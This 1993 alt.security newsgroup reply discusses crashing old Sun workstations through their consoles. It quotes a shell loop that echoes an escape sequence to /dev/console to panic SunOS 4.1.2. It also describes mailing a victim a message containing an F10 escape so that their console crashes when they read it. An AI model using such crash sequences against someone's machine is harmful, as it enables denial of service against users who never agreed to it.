From: scott@sfi.santafe.edu (Scott D. Yelich)
Newsgroups: alt.security
Subject: Re: Crash an IPX ?
Date: 26 Aug 93 14:28:36
Organization: Santa Fe Institute
Message-ID: <SCOTT.93Aug26142836@sfi.santafe.edu>
References: <thecure.746367459@mullian.ee.Mu.OZ.AU> <thecure.746368317@mullian.ee.Mu.OZ.AU>
In-reply-to: thecure@ee.mu.OZ.AU's message of Thu, 26 Aug 1993 12:31:57 GMT

>>"The following was observered to cause SunOS 4.1.2 1 sun4c panic, halt on reboot,
>> and require powerdown."
>>> while 1
>>> while> echo "^[[s" > /dev/console
>>> while> end

under old sun4 console drivers.... when there are NO windows running
(ie: no console WINDOW)...

echo ""

ie: on an old sun3 style keyboard... send mail to someone and in the
body... miss the backspace key and hit the F10...  if they read their
mail on a console-- boom.  

This was posted ages ago.

Scott